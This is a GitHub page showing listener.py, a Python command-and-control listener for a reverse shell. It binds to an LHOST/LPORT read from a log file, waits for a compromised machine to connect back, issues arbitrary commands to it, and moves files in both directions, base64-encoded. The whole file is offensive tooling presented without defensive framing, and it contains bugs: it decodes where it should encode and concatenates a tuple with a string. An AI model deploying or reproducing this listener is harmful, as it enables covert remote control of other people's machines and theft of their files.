-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathlistener.py
71 lines (58 loc) · 2.17 KB
/
listener.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import base64
import json
import simplejson
import socket
class SocketListener:
def __init__(self, ip, port):
self.ip = ip
self.port = port
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((self.ip, self.port))
listener.listen(0)
print("Listening ...")
(self.connection, address) = listener.accept()
print("Connected from" + address)
def data_receive(self):
data = ""
while True:
try:
data = data + self.connection.recv(1024).decode()
return simplejson.loads(data)
except ValueError:
continue
def execute(self, command):
self.connection.send(simplejson.dumps(command).encode("utf-8"))
if command[0] == "quit":
self.connection.close()
exit()
return self.data_receive()
def get_file_content(self, path):
with open(path, "rb") as f:
return base64.b64decode(f.read())
def save_file(self, path, content):
with open(path, "wb") as f:
f.write(base64.b64decode(content))
return "Successfully Downloaded"
def start_listener(self):
while True:
command = input("Enter command => ")
command = command.split(" ")
try:
if command[0] == "upload":
file_content = self.get_file_content(command[1])
command.append(file_content)
result = self.execute(command)
if command[0] == "download":
result = self.save_file(command[1], result)
except Exception:
result = "Error"
print(result)
connect_info = ""
with open("logs/variable_logs.txt", "r") as f:
for line in f:
pass
connect_info = line
connect_info = json.loads(connect_info.split(" ")[-1].replace("'", "\""))
socket_listener = SocketListener(connect_info["LHOST"], connect_info["LPORT"])
socket_listener.start_listener()